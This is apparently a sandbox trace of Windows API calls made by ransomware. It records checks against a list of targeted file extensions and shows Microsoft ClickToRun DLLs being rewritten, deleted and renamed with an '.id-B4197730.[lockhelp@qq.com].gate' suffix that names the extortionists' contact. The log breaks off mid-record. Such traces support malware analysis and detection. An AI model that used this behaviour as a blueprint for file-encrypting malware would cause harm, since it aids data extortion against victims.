[0320.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0320.503] lstrlenW (lpString=".jpg") returned 4 [0320.503] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0320.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0320.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0320.503] lstrlenW (lpString=".doc") returned 4 [0320.503] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0320.503] lstrlenW (lpString=".docx") returned 5 [0320.503] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0320.503] lstrlenW (lpString=".pdf") returned 4 [0320.503] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0320.503] lstrlenW (lpString=".xls") returned 4 [0320.503] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0320.503] lstrlenW (lpString=".xlsx") returned 5 [0320.503] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0320.503] lstrlenW (lpString=".ppt") returned 4 [0320.503] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0320.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0320.503] lstrlenW (lpString=".zip") returned 4 [0320.503] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0320.503] lstrlenW (lpString=".rar") returned 4 [0320.503] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0320.503] lstrlenW (lpString=".bz2") returned 4 [0320.503] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0320.503] lstrlenW (lpString=".7z") returned 3 [0320.503] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0320.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0320.503] lstrlenW (lpString=".dbf") returned 4 [0320.503] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0320.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0320.503] lstrlenW (lpString=".1cd") returned 4 [0320.503] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0320.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0320.503] lstrlenW (lpString=".jpg") returned 4 [0320.504] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0320.504] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0320.504] lstrlenW (lpString="C2R64.dll") returned 9 [0320.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0320.504] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=1208928) returned 1 [0320.504] CloseHandle (hObject=0x358) returned 1 [0320.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 0x20 [0320.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0320.504] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.505] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0320.505] GetLastError () returned 0x0 [0320.505] ReadFile (in: hFile=0x358, lpBuffer=0x4286020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesRead=0x38cfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0320.899] WriteFile (in: hFile=0x388, lpBuffer=0x4286020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesWritten=0x38cfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0321.154] ReadFile (in: hFile=0x358, lpBuffer=0x4286020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesRead=0x38cfecc*=0x27270, lpOverlapped=0x0) returned 1 [0321.165] WriteFile (in: hFile=0x388, lpBuffer=0x4286020*, nNumberOfBytesToWrite=0x27280, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesWritten=0x38cfc94*=0x27280, lpOverlapped=0x0) returned 1 [0321.171] ReadFile (in: hFile=0x358, lpBuffer=0x4286020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0321.171] WriteFile (in: hFile=0x388, lpBuffer=0x4286020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesWritten=0x38cfc94*=0xe6, lpOverlapped=0x0) returned 1 [0321.171] SetEndOfFile (hFile=0x388) returned 1 [0321.172] CloseHandle (hObject=0x388) returned 1 [0321.172] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.172] SetEndOfFile (hFile=0x358) returned 1 [0321.174] CloseHandle (hObject=0x358) returned 1 [0321.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0321.174] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 1 [0321.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0321.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0321.174] lstrlenW (lpString=".doc") returned 4 [0321.174] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.174] lstrlenW (lpString=".docx") returned 5 [0321.174] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0321.175] lstrlenW (lpString=".pdf") returned 4 [0321.175] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.175] lstrlenW (lpString=".xls") returned 4 [0321.175] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.175] lstrlenW (lpString=".xlsx") returned 5 [0321.175] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0321.175] lstrlenW (lpString=".ppt") returned 4 [0321.175] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0321.175] lstrlenW (lpString=".zip") returned 4 [0321.175] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.175] lstrlenW (lpString=".rar") returned 4 [0321.175] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.175] lstrlenW (lpString=".bz2") returned 4 [0321.175] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.175] lstrlenW (lpString=".7z") returned 3 [0321.175] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0321.175] lstrlenW (lpString=".dbf") returned 4 [0321.175] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0321.175] lstrlenW (lpString=".1cd") returned 4 [0321.175] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0321.175] lstrlenW (lpString=".jpg") returned 4 [0321.175] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0321.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0321.176] lstrlenW (lpString=".doc") returned 4 [0321.176] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.176] lstrlenW (lpString=".docx") returned 5 [0321.176] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0321.176] lstrlenW (lpString=".pdf") returned 4 [0321.176] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.176] lstrlenW (lpString=".xls") returned 4 [0321.176] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.176] lstrlenW (lpString=".xlsx") returned 5 [0321.176] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0321.176] lstrlenW (lpString=".ppt") returned 4 [0321.176] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0321.176] lstrlenW (lpString=".zip") returned 4 [0321.176] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.176] lstrlenW (lpString=".rar") returned 4 [0321.176] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.176] lstrlenW (lpString=".bz2") returned 4 [0321.176] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.176] lstrlenW (lpString=".7z") returned 3 [0321.176] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0321.176] lstrlenW (lpString=".dbf") returned 4 [0321.176] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0321.176] lstrlenW (lpString=".1cd") returned 4 [0321.176] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0321.176] lstrlenW (lpString=".jpg") returned 4 [0321.177] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.177] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0321.177] lstrlenW (lpString="mso20win32client.dll") returned 20 [0321.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0321.177] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=3144288) returned 1 [0321.177] CloseHandle (hObject=0x358) returned 1 [0321.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 0x20 [0321.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.178] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 1 [0321.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0321.179] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[lockhelp@qq.com].gate"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 1 [0321.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0321.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0321.221] lstrlenW (lpString=".doc") returned 4 [0321.221] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.221] lstrlenW (lpString=".docx") returned 5 [0321.221] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0321.221] lstrlenW (lpString=".pdf") returned 4 [0321.221] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.221] lstrlenW (lpString=".xls") returned 4 [0321.222] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.222] lstrlenW (lpString=".xlsx") returned 5 [0321.222] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0321.222] lstrlenW (lpString=".ppt") returned 4 [0321.222] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0321.222] lstrlenW (lpString=".zip") returned 4 [0321.222] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.222] lstrlenW (lpString=".rar") returned 4 [0321.222] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.222] lstrlenW (lpString=".bz2") returned 4 [0321.222] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.222] lstrlenW (lpString=".7z") returned 3 [0321.222] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0321.222] lstrlenW (lpString=".dbf") returned 4 [0321.222] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0321.222] lstrlenW (lpString=".1cd") returned 4 [0321.222] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0321.222] lstrlenW (lpString=".jpg") returned 4 [0321.222] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0321.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0321.222] lstrlenW (lpString=".doc") returned 4 [0321.222] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.223] lstrlenW (lpString=".docx") returned 5 [0321.223] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0321.223] lstrlenW (lpString=".pdf") returned 4 [0321.223] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.223] lstrlenW (lpString=".xls") returned 4 [0321.223] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.223] lstrlenW (lpString=".xlsx") returned 5 [0321.223] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0321.223] lstrlenW (lpString=".ppt") returned 4 [0321.223] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0321.223] lstrlenW (lpString=".zip") returned 4 [0321.223] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.223] lstrlenW (lpString=".rar") returned 4 [0321.223] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.223] lstrlenW (lpString=".bz2") returned 4 [0321.223] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.223] lstrlenW (lpString=".7z") returned 3 [0321.223] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0321.223] lstrlenW (lpString=".dbf") returned 4 [0321.223] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0321.223] lstrlenW (lpString=".1cd") returned 4 [0321.223] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0321.223] lstrlenW (lpString=".jpg") returned 4 [0321.223] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.224] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0321.224] lstrlenW (lpString="mso30win32client.dll") returned 20 [0321.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0321.224] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=4677216) returned 1 [0321.224] CloseHandle (hObject=0x358) returned 1 [0321.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 0x20 [0321.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.225] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 1 [0321.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0321.226] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[lockhelp@qq.com].gate"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 1 [0321.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0321.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0321.226] lstrlenW (lpString=".doc") returned 4 [0321.226] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.226] lstrlenW (lpString=".docx") returned 5 [0321.226] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0321.226] lstrlenW (lpString=".pdf") returned 4 [0321.226] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.226] lstrlenW (lpString=".xls") returned 4 [0321.226] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.227] lstrlenW (lpString=".xlsx") returned 5 [0321.227] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0321.227] lstrlenW (lpString=".ppt") returned 4 [0321.227] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0321.227] lstrlenW (lpString=".zip") returned 4 [0321.227] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.227] lstrlenW (lpString=".rar") returned 4 [0321.227] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.227] lstrlenW (lpString=".bz2") returned 4 [0321.227] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.227] lstrlenW (lpString=".7z") returned 3 [0321.227] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0321.227] lstrlenW (lpString=".dbf") returned 4 [0321.227] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0321.227] lstrlenW (lpString=".1cd") returned 4 [0321.227] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0321.227] lstrlenW (lpString=".jpg") returned 4 [0321.227] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0321.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0321.228] lstrlenW (lpString=".doc") returned 4 [0321.228] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.228] lstrlenW (lpString=".docx") returned 5 [0321.228] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0321.228] lstrlenW (lpString=".pdf") returned 4 [0321.228] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.228] lstrlenW (lpString=".xls") returned 4 [0321.228] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.228] lstrlenW (lpString=".xlsx") returned 5 [0321.228] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0321.228] lstrlenW (lpString=".ppt") returned 4 [0321.228] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0321.228] lstrlenW (lpString=".zip") returned 4 [0321.228] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.228] lstrlenW (lpString=".rar") returned 4 [0321.228] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.228] lstrlenW (lpString=".bz2") returned 4 [0321.228] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.228] lstrlenW (lpString=".7z") returned 3 [0321.228] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0321.228] lstrlenW (lpString=".dbf") returned 4 [0321.228] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0321.228] lstrlenW (lpString=".1cd") returned 4 [0321.229] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0321.229] lstrlenW (lpString=".jpg") returned 4 [0321.229] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.229] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0321.229] lstrlenW (lpString="mso40uires.dll") returned 14 [0321.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0321.229] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=3177152) returned 1 [0321.229] CloseHandle (hObject=0x358) returned 1 [0321.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 0x20 [0321.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.229] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft 